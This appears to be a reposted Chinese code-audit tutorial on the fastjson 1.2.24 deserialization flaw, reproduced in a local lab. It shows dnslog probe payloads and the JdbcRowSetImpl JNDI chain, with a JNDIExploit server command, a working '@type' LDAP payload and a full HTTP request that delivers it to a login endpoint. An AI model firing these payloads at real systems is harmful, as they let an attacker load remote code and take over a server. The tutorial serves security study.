Java代码审计16之fastjson反序列化漏洞(1)

news2025/4/16 23:11:59

文章目录

  • 1、简介fastjson
  • 2、fastjson的使用
      • 2.1、将类序列化为字符串
      • 2.2、将字符串还原为对象
      • 2.3、小结以上
      • 2.4、稍微扩展思路
  • 3、fastjson漏洞利⽤原理与dnslog
  • 4、JdbcRowSetImpl利用链
      • 4.1、JdbcRowSetImpl的基本知识
      • 4.2、利用代码复现
      • 4.3、生成poc
      • 4.4、模拟真实场景
      • 4.5、利用链代码分析

1、简介fastjson

Fastjson 是⼀个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为Java 对象。

Fastjson 可以操作任何 Java 对象,即使是⼀些预先存在的没有源码的对象。

Fastjson 源码地址:https://github.com/alibaba/fastjson

Fastjson 中⽂ Wiki:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN

添加pom.xml依赖,

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

2、fastjson的使用

简单了解将对象转化为json,以及从json还原对象

2.1、将类序列化为字符串

主要就是 JSON.toJSONString 函数的使用

该函数可以仅仅传入一个参数,也可以传入两个参数,

序列化生成的字符串略有区别,

user.java

package com.example.demo2;

public class user {

    private int age;
    private String username;
    private String password;

    // 默认无参数构造函数
    public user() {
        System.out.println("无参构造方法被调用");
    }

    public user(int age, String username, String password) {
        System.out.println("有参构造方法被调用");
        this.age = age;
        this.username = username;
        this.password = password;
    }

    public int getAge() {

        System.out.println("get函数被调用");
        return age;
    }

    public void setAge(int age) {
        System.out.println("set函数被调用");
        this.age = age;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }


    @Override
    public String toString() {
        System.out.println("toString函数被调用。。。");
        return "user{" +
                "age=" + age +
                ", username='" + username + '\'' +
                ", password='" + password + '\'' +
                '}' ;
    }



}

main.java

package com.example.demo2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        user user = new user(12, "xbb", "123456");

        // 序列化⽅式
        String json1 = JSON.toJSONString(user);

        //生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

        System.out.println(json1);
        System.out.println(json2);
        System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());



}

输出如下,可以看到类以及被序列化为json类型的字符串,

有参构造方法被调用
{"age":12,"password":"123456","username":"xbb"}
{"@type":"com.example.demo2.user","age":12,"password":"123456","username":"xbb"}
json1的变量类型:String

2.2、将字符串还原为对象

设计两个函数,

	JSON.parse

	JSON.parseObject

main.java

package com.example.demo2;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        user user = new user(12, "xbb", "123456");

        // 序列化⽅式
        String json1 = JSON.toJSONString(user);

        //生成的JSON字符串中包含类名,以便在反序列化时能够恢复正确的类类型
        String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);

//        System.out.println(json1);
//        System.out.println(json2);
//        System.out.println("json1的变量类型:" + json1.getClass().getSimpleName());


        System.out.println();


        //使用JSON.parse函数从字符串还原为对象
        System.out.println(JSON.parse(json1));
        //输出还原成什么类型;JSONObject
        System.out.println(JSON.parse(json1).getClass().getSimpleName());

        System.out.println(JSON.parseObject(json1));
        //输出还原成什么类型;JSONObject
        System.out.println(JSON.parseObject(json1).getClass().getSimpleName());

        System.out.println();
        //使用JSON.parseObject 函数从字符串还原为对象
        System.out.println(JSON.parse(json2));
        System.out.println();
        System.out.println(JSON.parseObject(json2));


}

对于“  JSON.toJSONString(user) ”这种方式序列化的字符串,
	
	两种还原函数,得到的结果一致。

对于“ JSON.toJSONString(user, SerializerFeature.WriteClassName) ” 这种方式序列化得到的字符串,
	
	两个函数还原得到的结果不一致,且还原和上面的字符串还原的过程也不一致,

	对于json2字符串,使用JSON.parseObject函数还原的过程,
	
		调用无参构造方法
		调用了set函数
		调用了get函数
		输出结果和json1还原一致

	对于json1字符串,使用JSON.parseObject函数还原过程,
		调用无参构造方法
		调用set函数
		调用toString函数
		输出结果和以上3个不同

有参构造方法被调用
get函数被调用
get函数被调用

{"password":"123456","age":12,"username":"xbb"}
JSONObject
{"password":"123456","age":12,"username":"xbb"}
JSONObject

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}

无参构造方法被调用
set函数被调用
get函数被调用
{"password":"123456","age":12,"username":"xbb"}

继续增加JSON.parseObject函数的参数,

        System.out.println(JSON.parseObject(json1,user.class)); 
        System.out.println(JSON.parseObject(json2,user.class)); 

输出结果一样,

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}

无参构造方法被调用
set函数被调用
toString函数被调用。。。
user{age=12, username='xbb', password='123456'}


2.3、小结以上

序列化函数

	JSON.toJSONString(对象,可选参数)

	测试可选参数为:SerializerFeature.WriteClassName

反序列化函数

	JSON.parse(字符串)


	JSON.parseObject(字符串,可选参数)

	可选参数为:指定还原对象类型,如,user.class

在这里插入图片描述

2.4、稍微扩展思路

由上面的测试,我们知道,假设反序列化的值是由用户可控的话,

假设原本的get/set/toString/无参构造方法内存在高危功能代码,

那么就会产生漏洞,因为以json2格式字符串,任何反序列化的函数都会触发set函数,

我们假设set函数的内容如下:

    public String getUsername() {return username; }

    public void setUsername(String username) {
        this.username = username;
        try {
            Runtime.getRuntime().exec("calc");
//            Runtime.getRuntime().exec(username);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

main.java

package com.example.demo2;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        String json2 = "{\"@type\":\"com.example.demo2.user\",\"age\":12,\"password\":\"123456\",\"username\":\"xxx\"}";

        System.out.println(JSON.parseObject(json2));

    }

}

运行就会弹出计算器,
在这里插入图片描述

这个弹出计算器是原代码写死的,假设我们在改动下set函数,

假设执行的命令是有反序列化得到的,则就会造成命令注入。

在这里插入图片描述

3、fastjson漏洞利⽤原理与dnslog

json字符串中带有@type

漏洞是利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,

攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。

攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,

甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤的影响。
	上面是比较官方的说法,其实由上面的测试,我们也知道,

	我们假设set函数内存在高危功能点,且参数可控,则造成的危害是比较大的。

	然而,我们的user类setname函数内没有高危功能和可控参数,如何造成危害呢
其实这里答案比较明确了,既然反序列化的字符串都是可控的,

user类没有这种功能点,那Jdk自带的那么多类,总是存在这样的地方把,有
package com.example.demo2;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;


public class main {
    public static void main(String[] args) throws Exception {

        String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"aa.8fhj7r.3lasix.dnslog.cn\"}";
        System.out.println(JSON.parse(json2));
    }

}

在这里插入图片描述

类似的JSON.parseObject也可以,虽然报错了,但是dns已经发出了请求,
        String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";

        System.out.println(JSON.parseObject(json2));

在这里插入图片描述
小结可用poc,

String json2 = "{\"@type\":\"java.net.Inet4Address\", \"val\":\"bb.8fhj7r.3lasix.dnslog.cn\"}";

类似的还有下面这个,

String json2 = "{\"@type\":\"java.net.InetSocketAddress\"{\"address\":, \"val\":\"enst5r.cc9cve.dnslog.cn\"}\n";

4、JdbcRowSetImpl利用链

4.1、JdbcRowSetImpl的基本知识

上面我们利用jdk自带的类和函数实现了dnslog的探测,但是更多的时候目的都是rce,
今天要说的 JdbcRowSetImpl 利用链不是java的原生类,而是java标准库的类(需要导入包使用)
简单的理解,Java的标准库不是java自带的,是Java 的官方维护者(Oracle Corporation,

以前是 Sun Microsystems)提供的,因此它是官方推荐的和广泛使用的一组类和包。所以使用较广。
另外java的标准库有很多的功能,一般需要什么功能会导入具体功能的jar包。

而JdbcRowSetImpl 用于支持 JDBC 操作,因此非常常见。

4.2、利用代码复现

先启动恶意服务器,

java -jar .\JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.25
package com.example.test;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class test2 {
    public static void main(String[] args) throws SQLException {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
        jdbcRowSet.setAutoCommit(true);

    }
}

在这里插入图片描述

4.3、生成poc

这个标准库的JdbcRowSetImpl是可以触发漏洞的,那么我们参考之前的序列化后的字符串,

改造我们的poc,

在这里插入图片描述

代码和得到poc,
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}
package com.example.test;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class test2 {
    public static void main(String[] args) throws SQLException {

//        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
//        jdbcRowSet.setDataSourceName("ldap://192.168.1.25:1389/Basic/Command/calc");
//        jdbcRowSet.setAutoCommit(true);

        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.1.25:1389/Basic/Command/calc\", \"autoCommit\":true}";
        System.out.println(payload);
        JSON.parse(payload);


    }
}

4.4、模拟真实场景

这个是一个登录,理想的代码,

即拿到请求参数使用fastjson进行反序列化

在这里插入图片描述

所以,我们直接将传参变为poc,即可,

在这里插入图片描述

详细的请求数据包,
POST /login HTTP/1.1
Host: localhost:8080
Content-Length: 123
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=F9AD741194B4DCAC1D5914AC33163088
Connection: close

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.1.25:1389/Basic/Command/calc", "autoCommit":true}

4.5、利用链代码分析

先看12行的代码,
	
	其实从函数的名称上就可以知道,这个函数的是给 DataSourceName 赋值的,跟一下吧
	
	跟进JdbcRowSetImpl.class,进入到setDataSourceNmame():
	
	因为初始化的时候getDataSourceNmame()为空,进入else,var变量的值就是传入的payload,

在这里插入图片描述

继续进setDataSourceName函数,这里就结束了

在这里插入图片描述

执行完最初的12行,执行13行,
	
	跟进去,判断this.conn是否为空,我们也没有给this.conn设置值,肯定是空

	进入else逻辑,执行 this.connect 函数,

在这里插入图片描述


这里直接进入else原因还是没有设置this.conn的值,

然后326行代码,lookup的参数,就是上面12行设置的 DataSourceName 的值(payload),

是可控的,而lookup()远程加载payload,就造成了JNDI注入漏洞。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1011226.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

03目标检测-传统方法与深度学习算法对比

目录 一、目标学习的检测方法变迁及对比 二、深度学习目标检测算法基本流程 三、传统目标检测算法VS深度学习目标检测算法 一、目标学习的检测方法变迁及对比 “目标检测“是当前计算机视觉和机器学习领域的研究热点。从Viola-Jones Detector、DPM等冷兵器时代的智…

jq弹窗拖动改变宽高

预览效果 <div classtishiMask><div class"tishiEm"><div id"coor"></div><div class"topNew ismove"><span class"ismove">提示</span><p onclick"closeTishi()"></p&…

Postman使用_什么是Postman

Postman 是一个用于构建和使用 API 的 API 平台&#xff0c;Postman 简化了 API 生命周期的每个步骤并简化了协作&#xff0c;可以更快地创建更好的 API。 Postman 包含一个基于Node.js的强大的运行时&#xff0c;允许您向请求&#xff08;request&#xff09;和分组&#xff…

Nginx 文件解析漏洞复现

一、漏洞说明 Nginx文件解析漏洞算是一个比较经典的漏洞&#xff0c;接下来我们就通过如下步骤进行漏洞复现&#xff0c;以及进行漏洞的修复。 版本条件&#xff1a;IIS 7.0/IIS 7.5/ Nginx <8.03 二、搭建环境 cd /vulhub/nginx/nginx_parsing_vulnerability docker-compos…

爬虫逆向实战(32)-某号店登录(RSA、补环境、混淆)

一、数据接口分析 主页地址&#xff1a;某号店 1、抓包 通过抓包可以发现登录接口是/publicPassport/login.do 2、判断是否有加密参数 请求参数是否加密&#xff1f; 通过查看“载荷”模块可以发现&#xff0c;有三个加密参数&#xff1a;username、password、captchaTok…

day16-面向对象综合练习(上)

1. 设计游戏的目的 锻炼逻辑思维能力利用Java的图形化界面&#xff0c;写一个项目&#xff0c;知道前面学习的知识点在实际开发中的应用场景 2. 游戏的最终效果呈现 Hello&#xff0c;各位同学大家好。今天&#xff0c;我们要写一个非常有意思的小游戏 —《拼图小游戏》 我们…

猫头虎博主第四期赠书活动:《精通Go语言:(第2版) 》

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

神经网络-pytorch版本

pytorch神经网络基础 torch简介 torch和numpy import torch import numpy as np np_datanp.arange(6).reshape((2,3)) torch_datatorch.from_numpy(np_data) tensor2arraytorch_data.numpy() print(np_data,"\n",torch_data,"\n",tensor2array)torch的数…

【循环冗余码检错示例】

接收方怎么看有错没有 余数为0就是无错&#xff01;

竞赛选题 基于机器视觉的行人口罩佩戴检测

简介 2020新冠爆发以来&#xff0c;疫情牵动着全国人民的心&#xff0c;一线医护工作者在最前线抗击疫情的同时&#xff0c;我们也可以看到很多科技行业和人工智能领域的从业者&#xff0c;也在贡献着他们的力量。近些天来&#xff0c;旷视、商汤、海康、百度都多家科技公司研…

C++下标运算符详解

C++ 规定,下标运算符[ ]必须以成员函数的形式进行重载。该重载函数在类中的声明格式如下: 返回值类型 & operator[ ] (参数); const 返回值类型 & operator[ ] (参数) const; 使用第一种声明方式,[ ]不仅可以访问元素,还可以修改元素。使用第二种声明方式,[ ]只…

点灯科技实现 “ESP8266-01/01s + 继电器” 远程开关

教程视频 ESP-01S继电器插座怎么使用&#xff1f; 所需硬件 继电器 ESP-01S继电器插座 WIFI模块 esp8266-01s wifi模块 烧录器 软件准备 Arduino IDE需安装好esp8266扩展 点击下载 下载并安装blinker APP Android下载&#xff1a; 点击下载 或 在android应用商店…

构建健壮的Spring MVC应用:JSON响应与异常处理

目录 1. 引言 2. JSON 1. 轻量级和可读性 2. 易于编写和解析 3. 自描述性 4. 支持多种数据类型 5. 平台无关性 6. 易于集成 7. 社区支持和标准化 3. 高效处理异常 综合案例 异常处理方式一 异常处理方式二 异常处理方式三 1. 引言 探讨Spring MVC中关键的JSON数据…

day18-API(常见API,对象克隆)

课程目标 能够熟练使用Math类中的常见方法 能够熟练使用System类中的常见方法 能够理解Object类的常见方法作用 能够熟练使用Objects类的常见方法 能够熟练使用BigInteger类的常见方法 能够熟练使用BigDecimal类的常见方法 1 Math类 1.1 概述 tips&#xff1a;了解内容…

nbcio-boot移植到若依ruoyi-nbcio平台里一formdesigner部分(三)

因为这个版本的若依plus不支持本地文件上传&#xff0c;所以需要增加这些本地上传文件的后端代码 和前端代码修改。 1、后端部分 先配置跳过测试吧&#xff0c;平时编译也不需要这个 <!--添加配置跳过测试--><plugin><groupId>org.apache.maven.plugins<…

LVS负载均衡群集——LVS-NAT模式搭建和LVS-DR模式搭建

目录 lvs工作模式 1、NAT模式&#xff08;VS-NAT&#xff09; 2、直接路由模式&#xff08;VS-DR&#xff09; 3、IP隧道模式&#xff08;VS-TUN&#xff09; LVS调度算法 LVS群集类型 1&#xff09;负载均衡群集 LB 2&#xff09;高可用群集 HA 3&#xff09;高性能运…

分享篇:Canvas绘制简单图像

目录 Canvas绘制简单图形需要用到的基本知识&#xff1a; 1.moveTo() 2. lineTo() 3.stroke() 4.strokeStyle/lineWidth 5.beginPath() 6.closePath() 7.arc&#xff08;&#xff09; 8.createLinearGradient&#xff08;&#xff09; 9.createRadialGradient&#xf…

el-table 翻页记住上页选项,包含回显选中的数据

需求为翻页记住上页选项,包含回显选中的数据,然后还能进行新增和取消勾选 首先element管网有提供及住翻页功能 所以可以根据官网提供的方法来改造 一定要做的操作就是清空一下选中的数据,否则不生效,this.$refs.selectTable.clearSelection(); 然后就是处理选中的数据,和原…

Qt Quick Layouts Overview

Qt快速布局概述 #【中秋征文】程序人生&#xff0c;中秋共享# Qt快速布局是用于在用户界面中排列项目的项目。由于Qt快速布局还可以调整其项目的大小&#xff0c;因此它们非常适合可调整大小的用户界面。 开始 可以使用文件中的以下导入语句将 QML 类型导入到应用程序中。.qml…

机器视觉康耐视visionpro-脚本常见的编辑编译错误和运行错误及警告性错误,调试解决办法

3.康耐视VisionPro高级脚本系列教程-3.脚本编辑错误和运行错误调试方法,break和Continue的差别_哔哩哔哩_bilibili 目录 第一:康耐视visionpro脚本-编辑编译错误第二:康耐视visionpro脚本-运行错误第三:康耐视visionpro脚本-警告性错误第一:康耐视visionpro脚本-编辑编译…